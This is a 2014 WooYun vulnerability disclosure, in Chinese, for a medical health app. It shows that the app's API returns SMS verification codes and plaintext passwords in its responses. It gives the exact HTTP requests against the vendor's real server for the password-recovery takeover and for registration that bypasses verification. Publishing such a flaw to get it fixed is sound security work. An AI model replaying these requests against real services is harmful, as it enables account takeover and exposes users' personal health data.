当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-076941

漏洞标题:某医联健康APP可以注册、忘记密码画面可绕过手机身份验证,推测帐号密码

相关厂商:医联云健康

漏洞作者: lucky_fn

提交时间:2014-09-22 19:00

修复时间:2014-11-06 19:02

公开时间:2014-11-06 19:02

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-22: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-11-06: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

APP好像很难查找开发商,提供已知信息
问题APP名:
医联云健康APP
下载地址:http://apk.91.com/Soft/Android/cn.zgjkw.ydyl.dz-4.html
短信联系方:
泰福健康
http://www.taivex.org/
问题画面一:忘记密码
忘记密码时先输入手机号,然后取得验证码,通过验证后,短信通知密码
问题:只要暴力推测出用户手机号,可以通过抓包取得验证码和登录密码
问题画面二:注册
注册时需要输入手机验证码
问题:可以通过抓包取得验证码

详细说明:

问题画面一:忘记密码

1.png


输入手机号,取得验证码

2.png


发现response已经有验证码7358:

GET /BSoftNew.svc/GetMobileCheckCode?istaivextype=true&mobile=156...手机号省略...6 HTTP/1.1
Host: ylyjk.taivex.org:81
...省略...
HTTP/1.1 200 OK
...省略...
{"code":"0","data":{"checkcode":"7358"},"header":{"action":"GetMobileCheckCode","errreason":"","requestseq":"0"}}


输入

3.png


送信得到密码wooyun8899:

GET /BSoftNew.svc/GetUserPasswordByCheckCode?messagetype=1&checkcode=7358&mobile=156...手机号省略...6 HTTP/1.1
Host: ylyjk.taivex.org:81
...省略...
HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 126
Content-Type: text/plain
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Mon, 22 Sep 2014 05:59:58 GMT
{"code":"0","data":{"password":"wooyun8899"},"header":{"action":"GetUserPasswordByCheckCode","errreason":"","requestseq":"0"}}


登录成功

GET /BSoftNew.svc/Login?username=156...省略...6&DevID=8...省略...0&OS=2&logintype=2&DevType=GT-I9128E&ClientVer=1.2.2&password=wooyun8899&DevVer=4.2.2 HTTP/1.1
Host: ylyjk.taivex.org:81
...省略...
HTTP/1.1 200 OK
...省略...
{"code":"0","data":{"token":"...省略...","usertype":"2","stunumber":"","stucode":"","mobile":"156...省略...6","userkey":"","ver":"1.0","sn":"0...省略...2","psn":"0...省略...2","name":"泰福医联","hoscode":"","squcode":"","hisucode":"","servercurticks":"1...省略...4","idcard":"","realname":"156...省略...6","logo":"","sex":"","sign":"156...省略...6","cardnumber":"","birthday":"","header":"","medicalcard":"","outpatientcard":"","patientid":"9...省略...2","username":"156...省略...6","orgcode":"0...省略...8","password":"wooyun8899","userid":"2...省略...8","appmodule":""},"header":{"action":"Login","errreason":"","requestseq":"0","servercurticks":"1...省略...4"}}


4.png


问题画面二:注册

Screenshot_2014-09-22-14-20-03.png


点注册后直接在response里得到验证码,绕过手机了。。

GET /BSoftNew.svc/GetMobileCheckCode?istaivextype=true&mobile=156...手机号省略...7 HTTP/1.1
Host: ylyjk.taivex.org:81
...省略...
HTTP/1.1 200 OK
...省略...
{"code":"0","data":{"checkcode":"5821"},"header":{"action":"GetMobileCheckCode","errreason":"","requestseq":"0"}}


输入验证码:

Screenshot_2014-09-22-14-21-30.png


注册成功:

GET /BSoftNew.svc/AddMobileUser?password=pentest&checkcode=5821&mobile=156...手机号省略...7 HTTP/1.1
Host: ylyjk.taivex.org:81
...省略...
HTTP/1.1 200 OK
...省略...
{"code":"0","data":{},"header":{"action":"AddMobileUser","errreason":"","requestseq":"0"}}


Screenshot_2014-09-22-14-21-37.png

漏洞证明:

同上

修复方案:

不要把验证码、密码显示在请求响应中。

版权声明:转载请注明来源 lucky_fn@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝